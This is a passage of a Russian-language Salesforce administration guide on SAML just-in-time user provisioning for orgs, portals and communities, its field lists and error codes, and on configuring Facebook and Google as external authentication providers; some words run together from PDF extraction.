доступакосновномусайтуисистемеSalesforce. Функцияединойрегистрациипозволяетповыситьчастотуиспользования
системы Salesforce.

• Повышение безопасности. Все политики паролей, действующие в корпоративной сети, также распространяются
на систему Salesforce. Кроме того, безопасностьпользователей, имеющихдоступк конфиденциальнымданным, может
бытьповышенапутемотправкирегистрационныхданныхпроверкиподлинности, действительныхтолькодляразового
входа.

СМ. ТАКЖЕ:

Требования для функции своевременной инициализации

Своевременная инициализация для порталов

Своевременная инициализация для сообществ

Ошибки своевременной инициализации

Примеры утверждений SAML

Общие сведения о единой регистрации

Требования для функции своевременной инициализации
Функция своевременной инициализации требует создания утверждения SAML. Ниже перечислены рекомендации по
созданию утверждения SAML.
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• Атрибут Provision Version поддерживается в качестве дополнительного. По умолчанию данному атрибуту
присваивается значение «1.0», если не указано иное. Например:

<saml:Attribute Name="ProvisionVersion" NameFormat=
"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">1.0</saml:AttributeValue>
</saml:Attribute>

• Поля ProfileID меняются в соответствии с организацией — даже в стандартных профилях. Чтобы упростить поиск
именипрофиля, система Salesforceпозволяет выполнять поиск путемпередачи значенияполя ProfileName в поле
ProfileId.

Требования к полям утверждения SAML

Чтобы правильно определить объект, который должен быть создан в системе Salesforce, рекомендуем использовать
префикс User. во всех полях, передаваемых в утверждение SAML. В примере ниже префикс User. добавлен к имени
поля Username.

<saml:Attribute
Name="User.Username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

Ниже перечислены поддерживаемые стандартные поля.

КомментарииОбязательноеПоля

AboutMe

Поумолчаниюприсваивается значениеполей FirstName и LastName,
если не указано иное.

Alias

CallCenter

City

По умолчанию присваивается значение поля UserName, если не
указано иное.

CommunityNickname

CompanyName

Country

Значение извлекается из параметров организации.DefaultCurrencyIsoCode

DelegatedApproverId

Department

Division

Например, User.Email=test2@salesforce.com.ДаEmail

По умолчанию значение извлекается из параметров организации,
если не указано иное.

EmailEncodingKey
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КомментарииОбязательноеПоля

EmployeeNumber

Extension

Fax

Указанное значение должно совпадать с темой SAML; в противном
случае присваивается тема SAML. Данное поле не может быть
обновлено посредством SAML.

FederationIdentifier
(только вставка)

FirstName

ForecastEnabled

IsActive

ДаLastName

LanguageLocaleKey

По умолчанию значение извлекается из параметров организации,
если не указано иное.

LocaleSidKey

Manager

MobilePhone

Phone

Например, User.ProfileId=Standard User.ДаProfileId

ReceivesAdminInfoEmails

ReceivesInfoEmails

State

Street

По умолчанию значение извлекается из параметров организации,
если не указано иное.

TimeZoneSidKey

Title

Например, User.Username=test2@test.com. Данное поле
не может быть обновлено посредством SAML.

ДаUsername  (только вставка)

По умолчанию присваивается значение «Без роли».UserRoleId

Zip

Ниже перечислены прочие требования.

• Поддерживаются только настраиваемые поля типа «текст».

• Настраиваемые поля поддерживают только функции insert  (вставка) и update  (обновление).
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• ПрисозданиипользователяпосредствомAPIновоеимяпользователяможетбытьпередано вполе User.Username.
Принеобходимостиукажитезначениеполя User.FederationIdentifier  (еслионодоступно). Поля Username
и FederationIdentifier не могут быть обновлены посредством API.

СМ. ТАКЖЕ:

Общие сведения о своевременной инициализации для SAML

Своевременная инициализация для порталов

Своевременная инициализация для сообществ

salesforce_communities_implementation.pdf

Своевременная инициализация для порталов
Функция своевременной инициализации для порталов позволяет использовать утверждение SAML для оперативного
создания пользователей клиентского и партнерского порталов при их первой попытке входа. В этом случае не требуется
заблаговременносоздаватьучетныезаписипользователей. Чтобыиспользоватьфункциюсвоевременнойинициализации,
взаимодействующую посредством SAML, рекомендуем включить функцию единой регистрации на основе SAML.

Прим.: Начиная с выпуска Summer'13 клиентскиеипартнерскиепорталыбольшенедоступныновыморганизациям.
Текущие организации могут использовать данные порталы без ограничений. Дополнительную информацию о
предоставлении клиентам или партнерам общего доступа к данным при отсутствии портала см. в сообществах.

Текущие организации, поддерживающие клиентские и партнерские порталы, могут продолжить использование
собственных порталов или выбрать использование сообществ. Дополнительную информацию можно получить
у менеджера по работе с клиентами Salesforce.

Создание пользователей портала

Параметры «Код портала» и «Код организации» должны быть указаны как часть утверждения SAML. Оба параметра
могут быть найдены на странице сведений о компании для организации или портала. Кроме того, параметр «Код
портала» используется для разграничения запросов на своевременную инициализацию постоянных пользователей и
пользователей портала. Если параметр «Код портала» не задан, то система выполняет запрос на своевременную
инициализацию постоянного пользователя платформы. Ниже перечислены требования по созданию пользователя
портала.

• Настройте параметр «Код интегрирования». Если код принадлежит существующей учетной записи пользователя,
то учетная запись обновляется. Если код принадлежит неактивной учетной записи пользователя, то учетная запись
обновляется, но активируется только в том случае, если полю User.IsActive утверждения своевременной
инициализации задано значение «истина». В случае отсутствия соответствующей учетной записи, система создает
нового пользователя.

• Если портал не поддерживает возможность самостоятельной регистрации, а также не заданы стандартные роль и
профиль нового пользователя, то поле User.ProfileId должно содержать допустимое имя профиля или код,
связанный с порталом. Кроме того, поле User.PortalRole должно содержать допустимый код или имя роли
портала.

Прим.: Поле User.Role должно содержать нулевое значение.
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Создание и изменение организаций

Чтобы создать или изменить организацию, укажите допустимое значение в параметре «Код организации» или в полях
Account.AccountNumber и Account.Name.

• Поиск совпадений выполняется на основе поля Account.AccountNumber. При обнаружении нескольких
организацийотображается сообщение об ошибке. Впротивном случае система обновляет сведения об организации.

• В случае отсутствия совпадающих организаций система добавляет новую организацию.

• Рекомендуем задать значение в поле Account.Owner утверждения SAML и убедиться, что параметры безопасности
поля Account.AccountNumber разрешают доступ профилю данного ответственного.

Создание и изменение контактов

Чтобы создать или изменить контакт, укажите допустимый код контакта в параметре User.Contact или в полях
Contact.Email и Contact.LastName.

• Поиск совпадений выполняется на основе поля Contact.Email. При обнаружении нескольких контактов
отображается сообщение об ошибке. В противном случае система обновляет сведения о контакте.

• В случае отсутствия совпадающих контактов система добавляет новый контакт.

Поддерживаемые поля для утверждения SAML портала

Чтобы правильно определить объект, который должен быть создан в системе Salesforce, рекомендуем использовать
префикс. Утверждения SAML поддерживают префиксы Account для всех полей в схеме «Организация» (например,
Account.AccountId) и Contact для всех полей в схеме «Контакт». В примере ниже префикс Contact добавлен к
имени поля Email.

<saml:Attribute
Name="Contact.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

Нижеперечисленыполя организаций, которыенаряду со стандартнымиполями такжеподдерживаются для постоянных
пользователей своевременной инициализации SAML.

КомментарииОбязательноеПоля

Улица|город|область|почтовый индекс|странаBilling

AnnualRevenue

Description

Fax

Указанное значение должно совпадать с темой SAML; в противном
случае присваивается тема SAML. Данное поле не может быть
обновлено посредством SAML.

ДаFederationIdentifier
(только вставка)

IsCustomerPortal

IsPartner

NumberOfEmployees
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КомментарииОбязательноеПоля

Ownership

Phone

Рекомендуем использовать значение «Исполнитель» для всех
пользователей портала.

ДаPortal Role

Rating

Street

TickerSymbol

По умолчанию присваивается значение «Без роли».UserRoleId

Website

Zip

Ниже перечислены поля контактов, которые наряду со стандартными полями также поддерживаются для постоянных
пользователей своевременной инициализации SAML.

КомментарииОбязательноеПоля

Birthdate

Имя|тел.CanAllowPortalSelfReg

Department

Description

DoNotCall

Fax

HasOptedOutofEmail

HasOptedOutofFax

HomePhone

LeadSource

Улица|город|область|почтовый индекс|странаMailing

MobilePhone

Owner

Улица|город|область|почтовый индекс|странаOther

OtherPhone

Phone

Salutation

1009

Безопасность подключенияНастройка и обслуживание организации Salesforce



КомментарииОбязательноеПоля

Title

СМ. ТАКЖЕ:

Общие сведения о своевременной инициализации для SAML

Требования для функции своевременной инициализации

Своевременная инициализация для сообществ

salesforce_communities_implementation.pdf

Своевременная инициализация для сообществ
Функция своевременной инициализации для сообществ позволяет использовать утверждение SAML для оперативного
созданияпользователейклиентскихипартнерскихсообществприихпервойпопыткевходаизпоставщикаудостоверений.
Данный алгоритм исключает необходимость заблаговременного создания учетных записей пользователей. Чтобы
использоватьфункциюсвоевременнойинициализации, взаимодействующуюпосредством SAML, рекомендуемвключить
функциюединойрегистрациинаоснове SAML. Затемрекомендуемиспользоватьпоставщикаудостоверенийдля создания
нужных утверждений SAML.

Параметры единой регистрации SAML

Выполните инструкции, указанные в разделе «Настройка параметров SAML для единой регистрации», для параметра
«SAML включен». Настройте значения для конфигурации и добавьте значения ниже.

1. Установите флажок «Инициализация пользователя включена».

Прим.:

• Своевременная инициализация требует наличия кода интегрирования в типе пользователя. Установите
переключатель «Утверждениесодержиткодинтегрированияизобъекта "Пользователь"» дляпараметра «Тип
кода пользователя SAML».

• Поставщикудостоверений, которыйраньшеиспользовалимяпользователяSalesforce, долженбытьуведомлен
о необходимости использования кода интегрирования.

2. Убедитесь, что поле «Код объекта» содержит уникальное значение, начинающееся с префикса https. Одна
организация не может использовать две конфигурации SAML, поле «Код объекта» которых содержит одинаковое
значение. Укажите необходимость использования стандартного домена (https://saml.salesforce.com) или
URL-адреса сообщества (например, https://acme.force.com/customers) для поля «Код объекта». Данные
сведения должны быть переданы поставщику удостоверений.

Совет: Как правило, URL-адрес сообщества используется в качестве кода объекта. Прииспользованиифункции
Salesforce to Salesforce рекомендуем указать URL-адрес сообщества.

3. Установитепереключатель «Утверждение содержит код интегрирования из объекта "Пользователь"» дляпараметра
«Тип кода пользователя SAML». Поставщик удостоверений, который раньше использовал имя пользователя
Salesforce, должен быть уведомлен о необходимости использования кода интегрирования.
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Создание и изменение пользователей сообщества

Ниже перечислены компоненты утверждения SAML.

• URL-адресдляполя «Получатель». Данный URL-адрес соответствует URL-адресу входа сообщества состраницысведений
«Параметры единой регистрации SAML» организации. URL-адрес использует формат ниже.

https://<community_URL>/login?so=<orgID>

Например, Recipient="https://acme.force.com/customers/login?so=00DD0000000JsCM", где
acme.force.com/customers соответствует начальной странице сообщества, а 00DD0000000JsCM является
значением поля «Код организации».

Призагрузкесертификатарасшифровкиутверждениянастраницу «Параметрыединойрегистрации SAML» организации
добавьте код сертификата в URL-адрес посредством параметра sc  (например,
Recipient="https://acme.force.com/customers/login?so=00DD0000000JsCM&sc=0LE000000Dp",
где 0LE000000Dp является кодом сертификата).

• Система Salesforce пытается сопоставить поле «Код интегрирования» в теме утверждения SAML (или в элементе
Attribute, в зависимостиотзначения, заданногопараметру «Расположениеудостоверения SAML» настранице «Параметры
единой регистрации SAML») с полем FederationIdentifier текущей записи пользователя.

1. Приобнаружениисовпадающейзаписипользователя система Salesforceиспользует атрибутыв утверждении SAML
для обновления указанных полей.

2. При отсутствии совпадающей записи пользователя система Salesforce обрабатывает контакты для организации,
указанной в поле «Код организации»  (Contact.Account или Account.AccountNumber), на наличие
совпадения по коду контакта (User.ContactId) или адресу эл. почты (Contact.Email).

i. Приобнаружении совпадающей записи контакта система Salesforceиспользует атрибуты в утверждении SAML
для обновления указанных полей контакта и последующей вставки новой записи пользователя.

ii. При отсутствии совпадающей записи контакта система Salesforce обрабатывает организации на наличие
совпадения по полю Contact.Account или полям Account.AccountNumber и Account.Name,
заданнымв утверждении SAML, либообновляет текущие записи контакта ипользователя для организациипри
обнаружении совпадения.

i. ПриобнаружениисовпадающейзаписиорганизациисистемаSalesforceвставляетновуюзаписьпользователя
и обновляет записи организаций на основе атрибутов, указанных в утверждении SAML.

ii. Приотсутствиисовпадающейзаписиорганизациисистема Salesforce вставляетновуюзаписьорганизации,
вставляет новую запись контакта и вставляет новую запись пользователя на основе атрибутов, указанных
в утверждении SAML.

Если код принадлежит неактивной учетной записи пользователя, то учетная запись обновляется, но активируется
толькопосленазначенияполю User.IsActive утверждениясвоевременнойинициализацииистинного значения.
При отсутствии учетной записи пользователя, поле «Код интегрирования» которой содержит данное значение,
система создает нового пользователя.

• Если сообщество не поддерживает возможность самостоятельной регистрации, а также не заданы стандартные роль
и профиль нового пользователя, то поле User.ProfileId должно содержать допустимое имя профиля или код,
связанный с сообществом.

Система Salesforce пытается сопоставить поле «Код интегрирования» в теме утверждения SAML с полем
FederationIdentifier текущей записи пользователя.
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Прим.: Система Salesforce также поддерживает настраиваемые поля объекта «Пользователь» в утверждении SAML.
Любой атрибут утверждения, начинающийся со слова User, анализируется как настраиваемое поле. Например,
атрибут User.NumberOfProductsBought__c утверждения вставляется в поле NumberOfProductsBought
инициализированного пользователя. Настраиваемые поля не поддерживаются для организаций или контактов.

Поддерживаемые поля для утверждения SAML сообщества

Чтобы правильно определить объект, который должен быть создан в системе Salesforce, рекомендуем использовать
префикс. Утверждения SAML поддерживают префиксы Account для всех полей в схеме «Организация» (например,
Account.AccountId) и Contact для всех полей в схеме «Контакт». В примере ниже префикс Contact добавлен к
имени поля Email.

<saml:Attribute
Name="Contact.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

Нижеперечисленыполя организаций, которыенаряду со стандартнымиполями такжеподдерживаются для постоянных
пользователей своевременной инициализации SAML.

КомментарииОбязательноПоля

Улица|город|область|почтовый индекс|странаBilling

AnnualRevenue

Description

Fax

Указанное значение должно соответствовать теме SAML; в
противном случае, используется тема SAML. Данное поле не может
быть обновлено посредством SAML.

YFederationIdentifier
(только вставка)

IsCustomerPortal

IsPartner

NumberOfEmployees

Ownership

Phone

Portal Role

Rating

Street

TickerSymbol

По умолчанию присваивается значение «Без роли».UserRoleId

Website
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КомментарииОбязательноПоля

Zip

Ниже перечислены поля контактов, которые наряду со стандартными полями также поддерживаются для постоянных
пользователей своевременной инициализации SAML.

КомментарииОбязательноПоля

Birthdate

Имя|тел.CanAllowPortalSelfReg

Department

Description

DoNotCall

Fax

HasOptedOutofEmail

HasOptedOutofFax

HomePhone

LeadSource

Улица|город|область|почтовый индекс|странаMailing

MobilePhone

Owner

Улица|город|область|почтовый индекс|странаOther

OtherPhone

Phone

Salutation

Title

СМ. ТАКЖЕ:

Общие сведения о своевременной инициализации для SAML

Требования для функции своевременной инициализации

salesforce_communities_implementation.pdf

Ошибки своевременной инициализации
Ниже представлены коды ошибок для функции своевременной инициализации SAML.
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Ошибки SAML отображаются в параметре URL-адреса. См. пример ниже.

http://login.salesforce.com/identity/jit/saml-error.jsp?
ErrorCode=5&ErrorDescription=Unable+to+create+user&ErrorDetails=
INVALID_OR_NULL_FOR_RESTRICTED_PICKLIST+TimeZoneSidKey

Прим.: Система Salesforce перенаправляет пользователя на URL-адрес настраиваемой ошибки в том случае, если
такой адрес задан в конфигурации SAML.

Сообщения об ошибках

Сведения об ошибкеОписаниеКод

MISSING_FEDERATION_IDОтсутствует код интегрирования1

MISMATCH_FEDERATION_IDНеверный код интегрирования2

INVALID_ORG_IDНедопустимый код организации3

USER_CREATION_FAILED_ON_UROGНе удается заблокировать4

USER_CREATION_API_ERRORНе удается создать пользователя5

ADMIN_CONTEXT_NOT_ESTABLISHEDНе удается установить контекст
администратора

6

UNRECOGNIZED_CUSTOM_FIELDНераспознанное настраиваемое поле8

UNRECOGNIZED_STANDARD_FIELDНераспознанное стандартное поле9

LICENSE_LIMIT_EXCEEDEDПревышено ограничение по количеству
лицензий

11

MISMATCH_FEDERATION_ID_AND_USERNAME_ATTRSКод интегрирования и имя пользователя
не совпадают

12

UNSUPPORTED_VERSIONНеподдерживаемая версия API для
инициализации

13

USER_NAME_CHANGE_NOT_ALLOWEDНедопустимое изменение имени
пользователя

14

UNSUPPORTED_CUSTOM_FIELD_TYPEНеподдерживаемый тип настраиваемого
поля

15

PROFILE_NAME_LOOKUP_ERRORНе удается выполнить соотнесение
уникального кода профиля для данного
имени профиля

16

ROLE_NAME_LOOKUP_ERRORНе удается выполнить соотнесение
уникальногокодаролидляданногоимени
роли

17

INVALID_ACCOUNT_IDНедопустимая организация18

MISSING_ACCOUNT_NAMEОтсутствует имя организации19
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Сведения об ошибкеОписаниеКод

MISSING_ACCOUNT_NUMBERОтсутствует номер организации20

ACCOUNT_CREATION_API_ERRORНе удается создать организацию22

INVALID_CONTACTНедопустимый контакт23

MISSING_CONTACT_EMAILОтсутствует адрес эл. почты контакта24

MISSING_CONTACT_LAST_NAMEОтсутствует фамилия контакта25

CONTACT_CREATION_API_ERRORНе удается создать контакт26

MULTIPLE_CONTACTS_FOUNDОбнаружено несколько совпадающих
контактов

27

MULTIPLE_ACCOUNTS_FOUNDОбнаружено несколько совпадающих
организаций

28

INVALID_ACCOUNT_OWNERНедопустимый ответственный за
организацию

30

INVALID_PORTAL_PROFILEНедопустимый профиль портала31

ACCOUNT_CHANGE_NOT_ALLOWEDИзменение организации запрещено32

ACCOUNT_UPDATE_FAILEDНе удается обновить организацию33

CONTACT_UPDATE_FAILEDНе удается обновить контакт34

INVALID_STANDARD_ACCOUNT_FIELD_VALUEНедопустимое значение стандартного
поля организации

35

CONTACT_CHANGE_NOT_ALLOWEDИзменение контакта запрещено36

INVALID_PORTAL_ROLEНедопустимая роль портала37

CANNOT_UPDATE_PORTAL_ROLEНе удается обновить роль портала38

INVALID_JIT_HANDLERНедопустимый класс средства обработки
своевременной инициализации SAML

39

INVALID_EXECUTION_USERНедействительный исполнительный
пользователь

40

APEX_EXECUTION_ERRORОшибка выполнения41

UNSUPPORTED_CONTACT_PERSONACCT_UPDATEОбновлениеорганизации-лицавконтакте
не поддерживается

42

СМ. ТАКЖЕ:

Общие сведения о своевременной инициализации для SAML

Своевременная инициализация для порталов
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Общие сведения о внешних поставщиках проверки подлинности

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Внешний поставщик услуг (например, Facebook© или Janrain©) может использоваться
для входа ворганизацию Salesforceпосредствомрегистрационныхданныхпользователя.

Чтобы настроить поставщика проверки подлинности для единой регистрации,
выполните указанные ниже действия.

• Настройте веб-сайт поставщика услуг.

• Создайте средство обработки регистрации посредством Apex.

• Определите поставщика проверки подлинности для организации.

Ниже перечислены действия, выполняемые после настройки.

1. Пользовательпытается выполнить вход в систему Salesforceпосредствомстороннего
удостоверения.

2. Запрос на вход перенаправляется стороннему поставщику проверки подлинности.

3. Пользователь выполняет сторонний вход и подтверждает доступ.

4. Сторонний поставщик проверки подлинности перенаправляет пользователя в
систему Salesforce посредством регистрационных данных.

5. Пользователь выполняет вход в систему Salesforce.

Прим.: После стороннейпроверкиподлинностипользователь с текущимсеансом
Salesforce автоматическиперенаправляетсянастраницу, позволяющуюподтвердить
связь с его учетной записью Salesforce.

Определение поставщика проверки подлинности
Ниже перечислены поддерживаемые поставщики.

• Facebook

• Google

• Janrain

• LinkedIn

• Microsoft Access Control Service

• Salesforce

• Twitter

• Любой поставщик услуг, использующий протокол OpenID Connect

Добавление функций в поставщика проверки подлинности
Дополнительныепараметрызапросапозволяютрасширитьфункции, выполняемыепоставщикомпроверкиподлинности.

• Scope: данный параметр настраивает полномочия, полученные от сторонней компании.

• Site: данный параметр позволяет использовать поставщика на сайте.

• StartURL: данный параметр перенаправляет пользователя, прошедшего проверку подлинности, в определенную
область.

• Community: данный параметр перенаправляет пользователя, прошедшего проверку подлинности, в определенное
сообщество.
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• Authorization Endpointнастранице1056: данныйпараметрперенаправляетпользователяна конкретнуюконечнуюточку
для проверки подлинности (только поставщики проверки подлинности Salesforce).

Создание средства обработки регистрации Apex

Поставщикипроверкиподлинностидляпроцесса единойрегистрациимогутиспользоваться толькоприналичиикласса
средства обработки регистрации. Класс средства обработки регистрации Apex должен реализовывать интерфейс
Auth.RegistrationHandler, определяющий два метода. Метод, инициируемый системой Salesforce для обратного
вызова, определяетсятем, использовалсялиданныйпоставщикранее. КлассшаблонаApex, используемыйдлятестирования,
может быть автоматически создан при создании поставщика проверки подлинности.

Настройка поставщика проверки подлинности Facebook

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Чтобыиспользовать Facebook в качествепоставщикапроверкиподлинности, выполните
указанные ниже действия.

1. Настройте приложение Facebook, выбрав систему Salesforce в качестве домена
приложения.

2. Определитепоставщикапроверкиподлинности Facebook дляорганизацииSalesforce.

3. Обновите приложение Facebook, чтобы использовать значение поля «URL-адрес
обратного вызова», созданное системой Salesforce, в качестве значенияполя Facebook
«URL-адрес веб-сайта».

4. Протестируйте подключение.

Настройка приложения Facebook

Прежде чем настроить Facebook для организации Salesforce, рекомендуем настроить
приложение в Facebook.

Прим.: Чтобы пропустить данное действие, разрешите системе Salesforce
использование собственного стандартного приложения. Дополнительную
информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Откройте веб-сайт Facebook и создайте приложение.

2. Изменитепараметрыприложенияи задайте доменуприложения значение Salesforce.

3. Запомните код и секрет приложения.

Определение поставщика Facebook для организации Salesforce

Код и секрет приложения Facebook необходимы для настройки поставщика Facebook в
организации Salesforce.

Прим.: Чтобыпропуститьвводданныхзначенийпринастройкепоставщика, разрешитесистемеSalesforceуправление
значениями. Дополнительную информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».
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3. Выберите Facebook в поле «Тип поставщика».

4. Заполните поле «Имя».

5. Заполните поле «Индекс URL-адреса». Данное значение используется в URL-адресах конфигурации клиента.
Например, если индексу URL-адреса поставщика присвоено значение «MoiPostavshikFacebook», то URL-адрес единой
регистрации выглядит следующим образом:
https://login.salesforce.com/auth/sso/00Dx00000000001/MoiPostavshikFacebook.

6. Введите код приложения Facebook в поле «Ключ пользователя».

7. Введите секрет приложения Facebook в поле «Секрет пользователя».

8. При необходимости заполните перечисленные ниже поля.

a. Введите основной URL-адрес из Facebook в поле «URL-адрес конечной точки авторизации». Например,
https://www.facebook.com/v2.2/dialog/oauth. ПрипропускеданногополясистемаSalesforceиспользует
версию Facebook API, используемую приложением.

Совет: При необходимости дополните основной URL-адрес строковыми параметрами запроса. Например,
чтобы получить маркер обновления от Google для автономного доступа, введите URL-адрес
https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force.
В данном примере рекомендуем добавить параметр approval_prompt, позволяющий пользователю
принимать действие обновления, благодаря чему Google сможет отправлять последующие маркеры
обновления.

b. Заполните поле «URL-адрес конечной точки маркера» из Facebook. Например,
https://www.facebook.com/v2.2/dialog/oauth. ПрипропускеданногополясистемаSalesforceиспользует
версию Facebook API, используемую приложением.

c. Заполнитеполе «URL-адрес конечной точки сведений о пользователе» дляизменениязначений, запрошенных
интерфейсом API профиля Facebook. Дополнительную информацию о полях см. по ссылке
https://developers.facebook.com/docs/facebook-login/permissions/v2.0#reference-public_profile. Запрошенные поля
должнысоответствовать запрошеннымобластям. ПрипропускеданногополясистемаSalesforceиспользуетверсию
Facebook API, используемую приложением.

d. Поле «Стандартные области», значениекоторогодолжнобытьотправленовместе с запросомна конечнуюточку
авторизации. В противном случае система использует жестко запрограммированные стандартные значения для
типа поставщика (см. документацию разработчика Facebook).

Дополнительную информацию см. в разделе «Использование параметра Scope».

e. Поле «URL-адрес настраиваемой ошибки», значение которого должно использоваться поставщиком для
уведомления об ошибках.

f. Поле «URL-адрес настраиваемого выхода», значениекоторогодолжноиспользоватьсяпривыходепользователей,
выполнивших проверку подлинности посредством процесса единой регистрации. Рекомендуем использовать
данное поле для перенаправления пользователей на фирменную страницу выхода или любую другую страницу,
кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью определенным и содержать
префикс http или https  (например, https://acme.my.salesforce.com).

g. Выберите текущий классApex в поле «Средство обработки регистрации» илищелкните ссылку «Автоматически
создавать шаблон средства обработки регистрации», чтобы создатьшаблон классаApex для средства обработки
регистрации. Преждечемиспользоватьданныйкласс, выполнитеегоредактированиепутемизменениястандартного
содержимого.
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Прим.: Значение поля «URL-адрес инициализации единой регистрации» может быть создано только
после выбора класса средства обработки регистрации для системы Salesforce.

h. Выберите пользователя, который выполняет класс Apex, в поле «Выполнить регистрациюкак». Пользователю
должно быть предоставлено полномочие «Управление пользователями». Данное поле является обязательным в
случае выбора или автоматического создания класса для средства обработки регистрации.

i. Чтобы использовать поставщика на портале, выберите нужный портал в раскрывающемся списке «Портал».

j. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данный значок применяется только к сообществу, поэтому не отображается на
странице входа для организации Salesforce или настраиваемого домена, созданного посредством функции «Мой
домен». Кнопка позволяет пользователям выполнять вход посредством связанного поставщика проверки
подлинности для сообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.

9. Нажмите кнопку «Сохранить».

Запомните значение созданного поля «Код поставщика проверки подлинности». Данное значение должно
использоваться в классе Apex Auth.AuthToken.

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

• «Тестовый URL-адрес инициализации»: данный URL-адреспозволяетпроверитьправильностьнастройкистороннего
поставщика. Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении
и перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации единой регистрации»: данный URL-адреспозволяетиспользовать единуюрегистрацию
для входа в систему Salesforce посредством стороннего приложения. Конечный пользователь открывает данный
URL-адресвобозревателеирегистрируетсявстороннемприложении. ВэтомслучаевходвсистемуSalesforceвыполняется
от имени созданного или обновленного пользователя.

• «URL-адрес связывания текущего пользователя»: данный URL-адрес позволяет связать текущих пользователей
Salesforce со сторонней учетной записью. Конечный пользователь открывает данный URL-адрес в обозревателе,
регистрируется в стороннем приложении и в системе Salesforce, а затем подтверждает ссылку.

• «URL-адрес инициализации только OAuth»: данный URL-адрес позволяет получать маркеры доступа OAuth для
стороннего приложения. Стороннее приложение может получить маркер только после проверки подлинности
пользователя в системе Salesforce; данныйпроцесснепредусматривает дальнейшегоиспользованияфункцииединой
регистрации.

• «URL-адрес обратного вызова»: данный URL-адрес позволяет поставщику проверки подлинности обращаться к
конечной точке конфигурации. При переадресации на адрес, указанный в поле «URL-адрес обратного вызова»,
должны использоваться сведения для всех перечисленных выше URL-адресов конфигурации клиента.

URL-адреса конфигурации клиента поддерживают дополнительные параметры запроса, позволяющие перенаправлять
пользователейдлявходапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийотстороннихкомпаний
или перехода в определенную область после проверки подлинности.

Обновление приложения Facebook

ЕслиорганизацииSalesforce заданпоставщикпроверкиподлинности Facebook, откройтеиобновитеприложение Facebook,
чтобы использовать значение поля «URL-адрес обратного вызова» в качестве значения поля Facebook «URL-адрес
веб-сайта».
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Тестирование подключения единой регистрации

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. Приэтомпользовательпереходитна веб-узел Facebook, где емупредлагается выполнитьвходиавторизовать
приложение. После авторизации пользователь возвращается в систему Salesforce.

СМ. ТАКЖЕ:

Использование параметров запроса в URL-адресах конфигурации клиента

Общие сведения о внешних поставщиках проверки подлинности

Настройка поставщика проверки подлинности Google

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Разрешите пользователям выполнять вход в организацию Salesforce посредством
аккаунтов Google.

Чтобы использовать Google в качестве поставщика проверки подлинности, выполните
указанные ниже действия.

1. Настройте приложение Google, выбрав систему Salesforce в качестве домена
приложения.

2. Определите поставщика проверки подлинности Google для организации Salesforce.

3. Обновите приложение Google, чтобы использовать значение поля «URL-адрес
обратного вызова», созданное системой Salesforce, в качестве значения поля Google
«URL-адрес веб-сайта».

4. Протестируйте подключение.

Настройка приложения Google

Прежде чем настроить Google для организации Salesforce, рекомендуем настроить
приложение в Google.

Прим.: Чтобы пропустить данное действие, разрешите системе Salesforce
использование собственного стандартного приложения. Дополнительную
информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Откройте веб-сайт Google и создайте приложение.

2. Изменитепараметрыприложенияи задайте доменуприложения значение Salesforce.

3. Запомните код и секрет приложения.

Определение поставщика Google для организации Salesforce

Код и секрет приложения Google необходимы для настройки поставщика Google в организации Salesforce.

Прим.: Чтобыпропуститьвводданныхзначенийпринастройкепоставщика, разрешитесистемеSalesforceуправление
значениями. Дополнительную информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».
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2. Нажмите кнопку «Создать».

3. Выберите Google в поле «Тип поставщика».

4. Заполните поле «Имя».

5. Заполните поле «Индекс URL-адреса». Данное значение используется в URL-адресах конфигурации клиента.
